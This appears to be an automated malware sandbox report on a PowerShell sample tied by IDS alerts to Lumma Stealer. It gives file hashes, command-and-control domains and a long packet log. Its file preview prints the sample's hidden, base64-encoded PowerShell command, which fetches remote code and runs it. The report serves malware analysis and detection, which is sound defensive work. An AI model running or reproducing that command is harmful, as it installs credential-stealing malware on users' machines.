Preview:	...................................FL..................F.".. ......Yd.....h.k...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......y.Yd....d..k.....v.k.......t...CFSF..1.....EW)B..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW)B'Y...........................d...A.p.p.D.a.t.a...B.V.1.....'Y...Roaming.@......EW)B'Y..............................R.o.a.m.i.n.g.....\.1.....EW.C..MICROS~1..D......EW)B'Y............................. .M.i.c.r.o.s.o.f.t.....V.1.....EW.D..Windows.@......EW)B'Y...........................P$..W.i.n.d.o.w.s.......1.....EW+B..STARTM~1..n......EW)B'Y.....................D.....b60.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW(C..Programs..j......EW)B'Y.....................@.......D.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW)BEW)B..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW)B'Y......0..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UWRL0R50Y426BRYZ75DK.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.725351938992476
Encrypted:	false
SSDEEP:	96:hjJHCsP80kvhkvCCtEhL3NiHvzL3NxHvZ:hjJPP3EhL6zLLZ
MD5:	D471939930795AB2EE43373C083D6FAA
SHA1:	BB17B51DBC70444D26EB6519783F9572A8372F73
SHA-256:	10F8277763A5FE98127C0A61539080491A894943C2279FFA4F59AA6374DD2461
SHA-512:	6766C9C56F4A06A3094081A8E8E360A082C48994E20CB60447CA5D5CFB70E8043675B34EB37C297BD350F0A283A9218CA5C1F22724757D92DBD0B7238A8196C5
Malicious:	false
Preview:	...................................FL..................F.".. ......Yd.....h.k...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......y.Yd....d..k.....v.k.......t...CFSF..1.....EW)B..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW)B'Y...........................d...A.p.p.D.a.t.a...B.V.1.....'Y...Roaming.@......EW)B'Y..............................R.o.a.m.i.n.g.....\.1.....EW.C..MICROS~1..D......EW)B'Y............................. .M.i.c.r.o.s.o.f.t.....V.1.....EW.D..Windows.@......EW)B'Y...........................P$..W.i.n.d.o.w.s.......1.....EW+B..STARTM~1..n......EW)B'Y.....................D.....b60.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW(C..Programs..j......EW)B'Y.....................@.......D.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW)BEW)B..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW)B'Y......0..........

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.372853270496105
Encrypted:	false
SSDEEP:	6144:CFVfpi6ceLP/9skLmb0ayWWSPtaJG8nAge35OlMMhA2AX4WABlguNaiL:KV1QyWWI/glMM6kF7kq
MD5:	406F9241B76D793BCC2133AD3F845E75
SHA1:	2B4C676C8965D74A32E993A234005A931C24F887
SHA-256:	E6C4CAA4D24746BE354A1D5B6D1B4F8A5352BCAB8257E951AA09F6215199E55B
SHA-512:	D8E467F90B4FD693DB5E022E50717EA04FF74B08757CDE6736E221D7E1705373628A966A3EBCD00947748D5012934E0412CEABC2BE383691AF8146D7A5599266
Malicious:	false
Preview:	regfD...D....\.Z.................... ....0......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.N2k.................................................................................................................................................................................................................................................................................................................................................Y.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	ASCII text, with no line terminators
Entropy (8bit):	4.401053385967501
TrID:
File name:	ofsetvideofre.click.ps1
File size:	257 bytes
MD5:	a63ad45894b36993e894e20279be145a
SHA1:	40b85944355791391a5f4e46bfe596893d0c8f78
SHA256:	a8874e8a45555e5b3cbf40ce49bd4e79731cc740d4d0f4d9c55cfc0d770679c1
SHA512:	b9bf518f4dd6c848f2f5cd0008ad4f465412031088e692283bbec1a7d618ebb3f42ac5e0f6030d2e38de7b75ccde8542a7f681fd3b2be584d86e31f35fa9d66c
SSDEEP:	6:s8qkKYHazxkQ7C23kobe+sX54ks7TQKoak0DeCj6eMiNQR4sbk:s8q/YHSxpC01CTIfQmzuRA
TLSH:	1DD05E699E78F8C002AEF6708A6C0E4B218A6A33D7A51A5C966110E91918645DB3E218
File Content Preview:	powershell -W Hidden -eC cABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwAgAEgAaQBkAGQAZQBuACAALQBjACAAIgBpAGUAeAAgACgAaQB3AHIAIABoAHQAdABwAHMAOgAvAC8AaQBwAGwAbwBnAGcAZQByAC4AYwBvAC8AMgBoADQAQwBnADUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0AC

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-07T23:16:22.399733+0200	2055742	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (bassicnuadnwi .shop)	1	192.168.2.8	57060	1.1.1.1	53	UDP
2024-09-07T23:16:22.886002+0200	2055743	ET MALWARE Observed Lumma Stealer Related Domain (bassicnuadnwi .shop in TLS SNI)	1	192.168.2.8	49713	172.67.200.243	443	TCP
2024-09-07T23:16:23.357080+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49713	172.67.200.243	443	TCP
2024-09-07T23:16:23.357080+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49713	172.67.200.243	443	TCP
2024-09-07T23:16:23.402739+0200	2055479	ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop)	1	192.168.2.8	51777	1.1.1.1	53	UDP
2024-09-07T23:16:23.414337+0200	2055483	ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop)	1	192.168.2.8	54990	1.1.1.1	53	UDP
2024-09-07T23:16:23.426377+0200	2055475	ET MALWARE Lumma Stealer Domain in DNS Lookup (condedqpwqm .shop)	1	192.168.2.8	60285	1.1.1.1	53	UDP
2024-09-07T23:16:23.922839+0200	2055485	ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop)	1	192.168.2.8	49714	172.67.146.35	443	TCP
2024-09-07T23:16:24.071553+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49714	172.67.146.35	443	TCP
2024-09-07T23:16:24.071553+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49714	172.67.146.35	443	TCP
2024-09-07T23:16:24.673494+0200	2055485	ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop)	1	192.168.2.8	49715	172.67.146.35	443	TCP
2024-09-07T23:16:25.136387+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49715	172.67.146.35	443	TCP
2024-09-07T23:16:25.136387+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49715	172.67.146.35	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 7, 2024 23:15:13.951884031 CEST	49704	443	192.168.2.8	172.67.167.249
Sep 7, 2024 23:15:13.951940060 CEST	443	49704	172.67.167.249	192.168.2.8
Sep 7, 2024 23:15:13.952019930 CEST	49704	443	192.168.2.8	172.67.167.249
Sep 7, 2024 23:15:13.964443922 CEST	49704	443	192.168.2.8	172.67.167.249
Sep 7, 2024 23:15:13.964474916 CEST	443	49704	172.67.167.249	192.168.2.8
Sep 7, 2024 23:15:15.361330032 CEST	443	49704	172.67.167.249	192.168.2.8
Sep 7, 2024 23:15:15.361510992 CEST	49704	443	192.168.2.8	172.67.167.249
Sep 7, 2024 23:15:15.367264986 CEST	49704	443	192.168.2.8	172.67.167.249
Sep 7, 2024 23:15:15.367280006 CEST	443	49704	172.67.167.249	192.168.2.8
Sep 7, 2024 23:15:15.367609024 CEST	443	49704	172.67.167.249	192.168.2.8
Sep 7, 2024 23:15:15.377921104 CEST	49704	443	192.168.2.8	172.67.167.249
Sep 7, 2024 23:15:15.424495935 CEST	443	49704	172.67.167.249	192.168.2.8
Sep 7, 2024 23:15:15.871834993 CEST	443	49704	172.67.167.249	192.168.2.8
Sep 7, 2024 23:15:15.871896982 CEST	443	49704	172.67.167.249	192.168.2.8
Sep 7, 2024 23:15:15.872001886 CEST	49704	443	192.168.2.8	172.67.167.249
Sep 7, 2024 23:15:15.878880978 CEST	49704	443	192.168.2.8	172.67.167.249
Sep 7, 2024 23:15:15.892801046 CEST	49705	443	192.168.2.8	169.150.247.33
Sep 7, 2024 23:15:15.892848969 CEST	443	49705	169.150.247.33	192.168.2.8
Sep 7, 2024 23:15:15.892925024 CEST	49705	443	192.168.2.8	169.150.247.33
Sep 7, 2024 23:15:15.893309116 CEST	49705	443	192.168.2.8	169.150.247.33
Sep 7, 2024 23:15:15.893321991 CEST	443	49705	169.150.247.33	192.168.2.8
Sep 7, 2024 23:15:16.630192995 CEST	443	49705	169.150.247.33	192.168.2.8
Sep 7, 2024 23:15:16.630347013 CEST	49705	443	192.168.2.8	169.150.247.33
Sep 7, 2024 23:15:16.633611917 CEST	49705	443	192.168.2.8	169.150.247.33
Sep 7, 2024 23:15:16.633620024 CEST	443	49705	169.150.247.33	192.168.2.8
Sep 7, 2024 23:15:16.633851051 CEST	443	49705	169.150.247.33	192.168.2.8
Sep 7, 2024 23:15:16.635143042 CEST	49705	443	192.168.2.8	169.150.247.33
Sep 7, 2024 23:15:16.676493883 CEST	443	49705	169.150.247.33	192.168.2.8
Sep 7, 2024 23:15:17.714826107 CEST	443	49705	169.150.247.33	192.168.2.8
Sep 7, 2024 23:15:17.714915037 CEST	443	49705	169.150.247.33	192.168.2.8
Sep 7, 2024 23:15:17.714988947 CEST	49705	443	192.168.2.8	169.150.247.33
Sep 7, 2024 23:15:17.727047920 CEST	49705	443	192.168.2.8	169.150.247.33
Sep 7, 2024 23:15:17.788321972 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:17.788368940 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:17.788435936 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:17.788789034 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:17.788800001 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:18.538742065 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:18.538866043 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:18.540400982 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:18.540431976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:18.540699959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:18.541783094 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:18.584501982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:18.843709946 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:18.843730927 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:18.843746901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:18.843883038 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:18.843919992 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:18.843977928 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:18.926363945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:18.926394939 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:18.926549911 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:18.926589966 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:18.926635981 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:18.958800077 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:18.958817959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:18.958937883 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:18.958964109 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:18.959009886 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:18.999834061 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:18.999851942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:18.999963999 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:18.999996901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.000036955 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.023770094 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.023788929 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.024081945 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.024127007 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.024173021 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.041995049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.042011976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.042126894 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.042148113 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.042192936 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.082628012 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.082643986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.082735062 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.082758904 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.082804918 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.099163055 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.099184990 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.099270105 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.099296093 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.099334955 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.103694916 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.103710890 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.103786945 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.103810072 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.103858948 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.117155075 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.117212057 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.117268085 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.117304087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.117321968 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.117338896 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.127576113 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.127595901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.127666950 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.127696037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.127732038 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.138561010 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.138583899 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.138642073 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.138669968 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.138716936 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.197853088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.197874069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.198015928 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.198036909 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.198082924 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.202522039 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.202543974 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.202611923 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.202621937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.202663898 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.210441113 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.210473061 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.210552931 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.210582018 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.210622072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.217061043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.217088938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.217166901 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.217185974 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.217202902 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.217215061 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.222743988 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.222762108 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.222832918 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.222846031 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.222882986 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.229078054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.229096889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.229208946 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.229223967 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.229269028 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.235140085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.235166073 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.235261917 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.235281944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.235332012 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.240164042 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.240195990 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.240248919 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.240262032 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.240274906 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.240297079 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.281640053 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.281658888 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.281742096 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.281776905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.281815052 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.289714098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.289736986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.289822102 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.289849043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.289895058 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.298130989 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.298147917 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.298232079 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.298269033 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.298306942 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.304575920 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.304590940 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.304701090 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.304733038 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.304770947 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.310116053 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.310132980 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.310256958 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.310277939 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.310323000 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.315442085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.315457106 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.315531969 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.315557957 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.315609932 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.321727991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.321743011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.321935892 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.321962118 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.322001934 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.327790976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.327806950 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.327894926 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.327915907 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.327958107 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.369524956 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.369545937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.369646072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.369659901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.369703054 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.378488064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.378506899 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.378582954 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.378592968 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.378633976 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.387780905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.387795925 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.387896061 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.387907982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.387949944 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.394550085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.394565105 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.394644976 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.394664049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.394701004 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.406024933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.406047106 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.406167030 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.406184912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.406219959 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.409372091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.409392118 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.409446955 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.409459114 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.409490108 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.410018921 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.410033941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.410079002 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.410085917 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.410157919 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.415381908 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.415397882 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.415465117 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.415473938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.415513992 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.458633900 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.458662033 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.458740950 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.458775997 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.458790064 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.458815098 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.466875076 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.466893911 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.466964960 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.466974020 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.467014074 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.476386070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.476401091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.476598024 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.476607084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.476721048 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.482851028 CEST	443	49706	138.199.36.9	192.168.2.8
